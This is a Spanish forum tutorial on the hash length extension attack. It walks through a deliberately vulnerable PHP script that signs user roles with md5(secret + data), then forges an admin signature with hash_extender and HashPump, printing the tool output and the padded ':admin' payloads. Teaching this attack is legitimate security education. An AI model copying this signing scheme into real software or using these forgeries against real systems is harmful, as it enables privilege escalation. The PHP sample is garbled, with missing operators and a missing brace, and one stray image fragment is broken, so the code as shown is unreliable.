Underc0de

[In]Seguridad Informática => Bugs y Exploits => Pentesting => Mensaje iniciado por: arthusu en Enero 15, 2019, 01:34:51 AM

Título: Ataque de extension de longitud
Publicado por: arthusu en Enero 15, 2019, 01:34:51 AM
¿Que es?

En criptografía y seguridad informática, un ataque de extensión de longitud es un tipo de ataque en el que un atacante puede usar el hash y la longitud del mensaje, para calcular el hash de un mensaje controlado por el atacante.

Código de ejemplo:

Código (php) [Seleccionar]
<?php

$secret md5('arthusu');

if(isset($_GET['user']))
{
echo md5($secret ':user');
exit;
}

if(isset($_GET['admin']))

echo md5($secret ':admin');
}

$signature md5($secret ':' $_GET['type']); 

if($signature == $_GET['sig'])
{
$data explode(':'$_GET['type']);

if(end($data) == 'admin')
{
echo 'Tu eres administrador';
}
else
{
echo 'Tu eres un usuario';
}
}
else
{
echo 'Firma invalida';
}

?>


(https://2.bp.blogspot.com/-K6BwP8pL_MQ/XD1ZdA5J9-I/AAAAAAAAHW4/1fKu3qSkClss0Ieh7pFiFncWmLJxRbPIwCLcBGAs/s320/GetImage.png)

Uso:
(https://2.bp.blogspot.com/-rhq0tldN2Mo/XD1ZpWlxxCI/AAAAAAAAHW8/Ao9xdH27ezAMNbbU7q7YX7KCevP9Edl9ACLcBGAs/s320/GetImage%2B%25281%2529.png)

?user - pedimos la firma para el usuario

(https://4.bp.blogspot.com/-Dx1VpC8hmFI/XD1Z4tYFcMI/AAAAAAAAHXE/YlAZJY2OgskXtQ5wX3XHP_0riodl8ReQwCLcBGAs/s320/GetImage%2B%25282%2529.png)

?admin - pedimos la firma para el administrador
(https://2.bp.blogspot.com/-PqnASMojM6o/XD1aE6nLmLI/AAAAAAAAHXM/cp72ioRVRC0DtIlk-tXtjj3f5t6L1O31QCLcBGAs/s320/GetImage%2B%25283%2529.png)

?sig=xxxx&type=user – donde sig es la firma obtenida y el type el tipo de usuario

(https://1.bp.blogspot.com/-A9twewOT5co/XD1aSGtmi4I/AAAAAAAAHXU/84JAgQBtk7cI7Pa4t9J3_mEFplBcPtDCQCLcBGAs/s320/GetImage%2B%25284%2529.png)

En caso de que la palabra no coincida con la firma generada nos va mostrar un mensage un mensaje de error.

(https://2.bp.blogspot.com/-4RGyWHP1L2w/XD1agEJhenI/AAAAAAAAHXc/QpWfEAjRRskKgnqjVEFsr0ge4Ku84xxHACLcBGAs/s320/GetImage%2B%25285%2529.png)

?sig=xxx&type=admin – nos muestra el usuario administrador

Explotación

Haremos uso de un script:

https://github.com/bwall/HashPump

https://github.com/iagox86/hash_extender


Hash extender en este caso soporta los siguientes hashes para su explotación:

CRC32, MD5, SHA1, SHA256 y SHA512

Ahora identificamos el hash https://www.onlinehashcrack.com/hash-identification.php

Introducimos el hash: 38f7e2f0c5eba427ed6b4b47f24814ea (en mi caso es este) y 0/GetImage%2B%25286%2529.png[/img]

Generamos una nueva firma

arthusu@SEGINF-RED03:/mnt/c/users/jaesoto/hash_extender$ ./hash_extender -f md5 -s 38f7e2f0c5eba427ed6b4b47f24814ea  --data 'user' --append ':admin' --secret-min=7 --secret-max=33 --out-data-format=html

Código (text) [Seleccionar]


Type: md5

Secret length: 7

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 8

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 9

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 10

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00p%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 11

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00x%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 12

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 13

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%88%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 14

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 15

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%98%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 16

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 17

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 18

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 19

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 20

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 21

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 22

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 23

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 24

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 25

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 26

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f0%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 27

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f8%00%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 28

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 29

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%08%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 30

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%10%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 31

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 32

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%01%00%00%00%00%00%00%3aadmin

 

Type: md5

Secret length: 33

New signature: 12005b20185a5b3feb166cf9017ffa56

New string: user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%01%00%00%00%00%00%00%3aadmin


Donde los parámetros son los siguientes:

-f xxx le indicamos el tipo de hash

-s xxxx le indicamos la firma que tenemos valida

--data 'xxx' le indicamos el dato conocido en este caso user

--append 'xxx' le indicamos el dato que queremos agregarle en este caso :admin con dos puntos por el explode en este caso 

--out-data-format=xxx le indicamos el formato de salida que le va dar

--secret-min=numero le indicamos un numero de tamaño para el secreto como minimo

--secret-max=numero le indicamos un numero de tamaño para el secreto como maximo



El secreto es en lo que se basa este ataque el tamaño del mismo como en este caso hipotéticamente no sabemos su tamaño (aunque si sabemos que la $signature tiene 32 caracteres el tamaño 😉 ) entonces generamos un rango en este caso del 7 al 33 y comenzamos a probar... 1 por 1.

(https://1.bp.blogspot.com/-rzGbqgXYVlI/XD1bHHyYVwI/AAAAAAAAHXw/caW_d6RREAwz9VOxKsoyBhmIzFMKUV3pQCLcBGAs/s640/GetImage%2B%25287%2529.png)

Para realizar la prueba con hashpump lo hacemos de la siguiente manera:


arthusu@SEGINF-RED03:~$ hashpump

Código (text) [Seleccionar]
Input Signature: 38f7e2f0c5eba427ed6b4b47f24814ea

Input Data: :user

Input Key Length: 32

Input Data to Add: :admin

12005b20185a5b3feb166cf9017ffa56

:user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin


Como vemos ingresamos la firma con la comenzamos 38f7e2f0c5eba427ed6b4b47f24814ea

Después el dato con el que comenzamos user

Y el tamaño de la firma en este caso 32

Por ultimo el input agregar es :admin el cual esta en un explode por eso : sino fuera el caso no se agrega



Nos da una nueva firma: 12005b20185a5b3feb166cf9017ffa56

Y un payload: :user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin



El cual transformamos \x a % quedando asi: 


user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00(%01%00%00%00%00%00%00:admin

Al ejecutar el payload nos da el resultado correcto.


Conclusión:


Estas vulnerabilidades existen realmente en las aplicaciones web, un ejemplo claro de ello lo podemos encontrar en: https://hackerone.com/reports/251572

Dudas y sugerencias pueden comentar, saludos

Referencia: https://arthusu.blogspot.com/2019/01/ataque-de-extension-de-longitud_14.html